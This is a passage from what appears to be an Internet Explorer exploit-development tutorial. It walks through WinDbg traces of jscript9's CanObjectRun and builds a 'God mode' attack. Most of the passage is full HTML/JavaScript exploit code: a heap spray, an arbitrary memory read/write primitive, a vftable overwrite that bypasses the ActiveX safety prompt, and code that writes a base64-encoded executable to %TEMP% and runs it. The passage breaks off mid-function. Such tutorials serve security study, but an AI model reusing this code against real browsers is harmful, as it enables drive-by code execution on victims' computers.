04eebf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050529fc)
04eebf46 8d4de4          lea     ecx,[ebp-1Ch]
04eebf49 51              push    ecx
04eebf4a 68ac0fec04      push    offset jscript9!IID_IClassFactory (04ec0fac)
04eebf4f ff75e8          push    dword ptr [ebp-18h]
04eebf52 50              push    eax
04eebf53 8d45ec          lea     eax,[ebp-14h]
04eebf56 50              push    eax
04eebf57 ff1504400905    call    dword ptr [jscript9!_imp__CoGetClassObject (05094004)]
04eebf5d 85c0            test    eax,eax
04eebf5f 0f88aa67fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)
04eebf65 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf68 8b08            mov     ecx,dword ptr [eax]
04eebf6a 8d55e0          lea     edx,[ebp-20h]
04eebf6d 52              push    edx
04eebf6e 68ccbfee04      push    offset jscript9!IID_IClassFactoryEx (04eebfcc)
04eebf73 50              push    eax
04eebf74 ff11            call    dword ptr [ecx]      ds:002b:040725f8={wshom!CClassFactory::QueryInterface (04080554)}
04eebf76 85c0            test    eax,eax
04eebf78 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf7b 8b08            mov     ecx,dword ptr [eax]
04eebf7d 0f89a76a1600    jns     jscript9!memset+0xf3d4 (05052a2a)
04eebf83 53              push    ebx
04eebf84 681c13e104      push    offset jscript9!IID_IUnknown (04e1131c)
04eebf89 6a00            push    0
04eebf8b 50              push    eax
04eebf8c ff510c          call    dword ptr [ecx+0Ch]  ds:002b:04072604={wshom!CClassFactory::CreateInstance (04080613)}
04eebf8f 8bf0            mov     esi,eax
04eebf91 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf94 8b08            mov     ecx,dword ptr [eax]
04eebf96 50              push    eax
04eebf97 ff5108          call    dword ptr [ecx+8]    ds:002b:04072600={wshom!CClassFactory::Release (04080909)}
04eebf9a 85f6            test    esi,esi
04eebf9c 7818            js      jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04eebfb6)
04eebf9e 8b4ddc          mov     ecx,dword ptr [ebp-24h]
04eebfa1 ff33            push    dword ptr [ebx]
04eebfa3 8b4904          mov     ecx,dword ptr [ecx+4]
04eebfa6 8d55ec          lea     edx,[ebp-14h]
04eebfa9 e807010000      call    jscript9!ScriptEngine::CanObjectRun (04eec0b5)   <----------------------
04eebfae 85c0            test    eax,eax
04eebfb0 0f8467a90800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (04f7691d)   <---------------
04eebfb6 8b4dfc          mov     ecx,dword ptr [ebp-4]
04eebfb9 5f              pop     edi
04eebfba 8bc6            mov     eax,esi
04eebfbc 5e              pop     esi
04eebfbd 33cd            xor     ecx,ebp
04eebfbf 5b              pop     ebx
04eebfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e1133e)
04eebfc5 c9              leave
04eebfc6 c20800          ret     8

Finally, we get to jscript9!ScriptEngine::CanObjectRun. When we step over it, the familiar dialog box pops up:

Image may be NSFW.
Clik here to view.
pic_27

Let’s click on Yes and go back in WinDbg. We can see that CanObjectRun returned 1 (i.e EAX = 1). This means that the je at 04eebfb0 is not taken and CreateObjectFromProgID returns. We can see that the calculator pops up.

Now let’s put a breakpoint right at 04eebfae, reload the page in IE and let’s see what happens if we click on No when the dialog box appears. Now EAX is 0 and je is taken. If we resume the execution, we can see that the calculator doesn’t pop up this time.

So, if we want to bypass the dialog box, we must force CanObjectRun to return true (i.e. EAX != 0). Unfortunately, we can’t modify the code because it resides on read-only pages. We’ll need to think of something else.

Let’s put a breakpoint on jscript9!ScriptEngine::CanObjectRun and reload the page in IE. This time, we’re stepping inside CanObjectRun:

jscript9!ScriptEngine::CanObjectRun:
04eec0b5 8bff            mov     edi,edi
04eec0b7 55              push    ebp
04eec0b8 8bec            mov     ebp,esp
04eec0ba 83ec48          sub     esp,48h
04eec0bd a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]
04eec0c2 33c5            xor     eax,ebp
04eec0c4 8945f8          mov     dword ptr [ebp-8],eax
04eec0c7 53              push    ebx
04eec0c8 8b5d08          mov     ebx,dword ptr [ebp+8]
04eec0cb 56              push    esi
04eec0cc 57              push    edi
04eec0cd 8bf9            mov     edi,ecx
04eec0cf 8bf2            mov     esi,edx
04eec0d1 8bc7            mov     eax,edi
04eec0d3 8975cc          mov     dword ptr [ebp-34h],esi
04eec0d6 e806ffffff      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)
04eec0db 85c0            test    eax,eax
04eec0dd 0f844e581600    je      jscript9!memset+0xe3b4 (05051931)
04eec0e3 f687e401000008  test    byte ptr [edi+1E4h],8
04eec0ea 0f8450581600    je      jscript9!memset+0xe3c3 (05051940)
04eec0f0 8d45bc          lea     eax,[ebp-44h]
04eec0f3 50              push    eax
04eec0f4 e87a020000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04eec373)
04eec0f9 85c0            test    eax,eax
04eec0fb 0f8838581600    js      jscript9!memset+0xe3bc (05051939)
04eec101 8b45bc          mov     eax,dword ptr [ebp-44h]
04eec104 8d7dd0          lea     edi,[ebp-30h]
04eec107 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec108 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec109 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec10a a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec10b 895de0          mov     dword ptr [ebp-20h],ebx
04eec10e 33db            xor     ebx,ebx
04eec110 53              push    ebx
04eec111 6a18            push    18h
04eec113 8d55d0          lea     edx,[ebp-30h]
04eec116 52              push    edx
04eec117 8d55cc          lea     edx,[ebp-34h]
04eec11a 52              push    edx
04eec11b 8d55c0          lea     edx,[ebp-40h]
04eec11e 52              push    edx
04eec11f 6868c1ee04      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04eec168)
04eec124 895de4          mov     dword ptr [ebp-1Ch],ebx
04eec127 8b08            mov     ecx,dword ptr [eax]
04eec129 50              push    eax
04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}   <--------------------------
04eec12d 85c0            test    eax,eax
04eec12f 0f8804581600    js      jscript9!memset+0xe3bc (05051939)
04eec135 8b45c0          mov     eax,dword ptr [ebp-40h]
04eec138 6a03            push    3

When we step over the call at 04eec12a, the familiar dialog box pops up. Let’s keep stepping:

04eec13a 5b              pop     ebx
04eec13b 85c0            test    eax,eax
04eec13d 740f            je      jscript9!ScriptEngine::CanObjectRun+0x99 (04eec14e)
04eec13f 837dcc04        cmp     dword ptr [ebp-34h],4
04eec143 7202            jb      jscript9!ScriptEngine::CanObjectRun+0x92 (04eec147)
04eec145 8b18            mov     ebx,dword ptr [eax]
04eec147 50              push    eax
04eec148 ff151c400905    call    dword ptr [jscript9!_imp__CoTaskMemFree (0509401c)]
04eec14e 6a00            push    0
04eec150 f6c30f          test    bl,0Fh
04eec153 58              pop     eax
04eec154 0f94c0          sete    al
04eec157 8b4df8          mov     ecx,dword ptr [ebp-8]
04eec15a 5f              pop     edi
04eec15b 5e              pop     esi
04eec15c 33cd            xor     ecx,ebp
04eec15e 5b              pop     ebx
04eec15f e8da51f2ff      call    jscript9!__security_check_cookie (04e1133e)
04eec164 c9              leave
04eec165 c20400          ret     4

Finally, CanObjectRun returns.

Let’s look again at the following three lines of code:

04eec127 8b08            mov     ecx,dword ptr [eax]      ; ecx = vftable pointer
04eec129 50              push    eax
04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}

It’s pretty clear that the first line reads the vftable pointer from the first dword of the object pointed to by eax and that, finally, the third instruction calls the 6th virtual function (offset 14h) in the vftable. Since all vftables are located at fixed RVAs, we can locate and modify this vftable so that we can call whetever code we want.

Right before the call at 04eec12a, eax is clearly non zero, so, if we were to return immediately from CanObjectRun, CanObjectRun would return true. What happens if we overwrite the 6th pointer of the vftable with the value 04eec164?

What happens is that the call at 04eec127 will call the epilog of CanObjectRun so CanObjectRun will end and return true. Everything works correctly because, even if the call at 04eec127 push a ret eip on the stack, the epilog of CanObjectRun will restore esp to the correct value. Remember that leave is equivalent to the following two instructions:

mov   esp, ebp
pop   ebp

Let’s put a breakpoint at 04eec12a, reload the page in IE and, when the breakpoint is triggered, examine the vftable:

0:007> ln ecx
(6ed255e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6ed25ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> dds ecx
6ed255e0  6e162681 MSHTML!PlainQueryInterface
6ed255e4  6e1625a1 MSHTML!CAPProcessor::AddRef
6ed255e8  6e13609d MSHTML!PlainRelease
6ed255ec  6e128eb5 MSHTML!TearoffThunk3
6ed255f0  6e30604a MSHTML!TearoffThunk4
6ed255f4  6e1dafe5 MSHTML!TearoffThunk5    <----------- we want to overwrite this
6ed255f8  6e1d9a77 MSHTML!TearoffThunk6
6ed255fc  6e2b1a73 MSHTML!TearoffThunk7
6ed25600  6e1d770c MSHTML!TearoffThunk8
6ed25604  6e1db22c MSHTML!TearoffThunk9
6ed25608  6e1db1e3 MSHTML!TearoffThunk10
6ed2560c  6e307db5 MSHTML!TearoffThunk11
6ed25610  6e1db2b8 MSHTML!TearoffThunk12
6ed25614  6e3e2a3d MSHTML!TearoffThunk13
6ed25618  6e2f2719 MSHTML!TearoffThunk14
6ed2561c  6e304879 MSHTML!TearoffThunk15
6ed25620  6e1db637 MSHTML!TearoffThunk16
6ed25624  6e1e1bf3 MSHTML!TearoffThunk17
6ed25628  6e1d9649 MSHTML!TearoffThunk18
6ed2562c  6e558422 MSHTML!TearoffThunk19
6ed25630  6e63bc4a MSHTML!TearoffThunk20
6ed25634  6e1e16d9 MSHTML!TearoffThunk21
6ed25638  6e397b23 MSHTML!TearoffThunk22
6ed2563c  6e2c2734 MSHTML!TearoffThunk23
6ed25640  6e3975ed MSHTML!TearoffThunk24
6ed25644  6e5728c5 MSHTML!TearoffThunk25
6ed25648  6e475a7d MSHTML!TearoffThunk26
6ed2564c  6e456310 MSHTML!TearoffThunk27
6ed25650  6e46ff2d MSHTML!TearoffThunk28
6ed25654  6e45a803 MSHTML!TearoffThunk29
6ed25658  6e47d81a MSHTML!TearoffThunk30
6ed2565c  6e2d3f19 MSHTML!TearoffThunk31

Determining the RVA of the vftable is quite easy:

0:007> ? MSHTML!s_apfnPlainTearoffVtable-mshtml
Evaluate expression: 12932576 = 00c555e0

Now let’s find the RVA of the epilog at 04eec164:

0:007> !address 04eec164

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           04e11000
End Address:            05094000
Region Size:            00283000
State:                  00001000  MEM_COMMIT
Protect:                00000020  PAGE_EXECUTE_READ
Type:                   01000000  MEM_IMAGE
Allocation Base:        04e10000
Allocation Protect:     00000080  PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\SysWOW64\jscript9.dll
Module Name:            jscript9      <----------------------------------------------
Loaded Image Name:      C:\Windows\SysWOW64\jscript9.dll
Mapped Image Name:      
More info:              lmv m jscript9
More info:              !lmi jscript9
More info:              ln 0x4eec164
More info:              !dh 0x4e10000


0:007> ? 04eec164-jscript9
Evaluate expression: 901476 = 000dc164

So the vftable is at mshtml + 0xc555e0 and we need to overwrite the dword at mshtml + 0xc555e0 + 0x14 with the value jscript9 + 0xdc164. Let’s see the javascript code to do this:

// We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.

    var old = read(mshtml+0xc555e0+0x14);
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');

    write(mshtml+0xc555e0+0x14, old);      // God mode off!

Note that the code restores the vftable as soon as possible (God mode off!) because the altered vftable would lead to a crash in the long run.

Here’s the full code:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.

    var old = read(mshtml+0xc555e0+0x14);
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');

    write(mshtml+0xc555e0+0x14, old);      // God mode off!
    
    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

Open it in IE and, when the alert box tells you, go in WinDbg and set the byte at 0c0af01b to 0x20 or the dword at 0c0af018 to 0x20000000. Then close the alert box and the calculator should pop up. If there is an error (it may happen, as we already saw), don’t worry and repeat the process.

Running arbitrary code

We saw how to run an executable present on the victim’s computer. Now let’s see how we can execute arbitrary code. The trick is to create an .exe file and then execute it. This is the code to do just that:

<html>
<head>
<script language="javascript">
  // content of exe file encoded in base64.
  runcalc = ... put base64 encoded exe here ...

  function createExe(fname, data) {
    var tStream = new ActiveXObject("ADODB.Stream");
    var bStream = new ActiveXObject("ADODB.Stream");
    
    tStream.Type = 2;       // text
    bStream.Type = 1;       // binary
    tStream.Open();
    bStream.Open();
    tStream.WriteText(data);
    tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
    tStream.CopyTo(bStream);
    bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
    tStream.Close();
    bStream.Close();
  }
 
  function decode(b64Data) {
    var data = window.atob(b64Data);
    
    // Now data is like
    //   11 00 12 00 45 00 50 00 ...
    // rather than like
    //   11 12 45 50 ...
    // Let's fix this!
    var arr = new Array();
    for (var i = 0; i < data.length / 2; ++i) {
      var low = data.charCodeAt(i*2);
      var high = data.charCodeAt(i*2 + 1);
      arr.push(String.fromCharCode(low + high * 0x100));
    }
    return arr.join('');
  }

  shell = new ActiveXObject("WScript.shell");
  fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
  createExe(fname, decode(runcalc));
  shell.Exec(fname);
</script>
</head>
<body>
</body>
</html>

I won’t explain the details of how this code works because I don’t think that’s very interesting.

First of all, let’s create a little application which open the calculator. In real life, we’d code something more interesting and useful, of course, but that’s enough for a demonstration.

Create a C/C++ Win32 Project in Visual Studio 2013 with the following code:

#include "windows.h"

int CALLBACK WinMain(
    _In_  HINSTANCE hInstance,
    _In_  HINSTANCE hPrevInstance,
    _In_  LPSTR lpCmdLine,
    _In_  int nCmdShow) {
    WinExec("calc.exe", SW_SHOW);
    return 0;
}

Change the project properties as follows:

  • [Release]
    • Configuration Properties
      • C/C++
        • Code Generation
          • Runtime Library: Multi-threaded (/MT)

This will make sure that the runtime library is statically linked (we want the exe file to be standalone). Build the Release version and you should have a 68-KB file. Mine is named runcalc.exe.

Now encode runcalc.exe in base64 with a little Python script:

import base64

with open(r'c:\runcalc.exe', 'rb') as f:
  print(base64.b64encode(f.read()))

Now copy and paste the encoded data into the javascript code above so that you have

runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA <snipped> AAAAAAAAAAAAAAAAAA';

I snipped the string because too long, but you can download it here: runcalc.

Open the html file in IE and you’ll see that the calculator doesn’t pop up. To see what’s wrong, open the Developer Tools (F12), go to the Console tab and then reload the page. Here’s what we get:

Image may be NSFW.
Clik here to view.
pic_30

The problem is that Microsoft decided to disable ADODB.Stream in Internet Explorer because ADODB.Stream is intrinsically unsafe. For now, let’s reenable it by using a little utility called acm (download).

Install acm, run it and enable ADODB.Stream like shown in the following picture:

Image may be NSFW.
Clik here to view.
pic_31

Now restart IE and open the html file again. This time the calculator will pop up!

The problems are not over, unfortunately.

Download an utility called SimpleServer:WWW from here: link.

We’re going to use it to run the html file as if it were served by a web server. SimpleServer is easy to configure. Just create a folder called WebDir on the Desktop, copy the html file into that folder, then run SimpleServer and select the html file like indicated in the following picture:

Image may be NSFW.
Clik here to view.
pic_32

Then click on Start. Now open IE and open the page at the address 127.0.0.1. The calculator won’t pop up. Once again, use the Developer Tools to see what’s wrong:

Image may be NSFW.
Clik here to view.
pic_33

It seems that things work differently when we receive a page from a server.

Change the settings as shown in the following picture:

Image may be NSFW.
Clik here to view.
pic_34

Reload the page and you should see another error:

Image may be NSFW.
Clik here to view.
pic_35

OK, now is time to solve all these problems. Reset all the settings in IE and disable again ADODB.Stream with the utility acm. Here’s the full code we’re going to work on:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.

    var old = read(mshtml+0xc555e0+0x14);
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
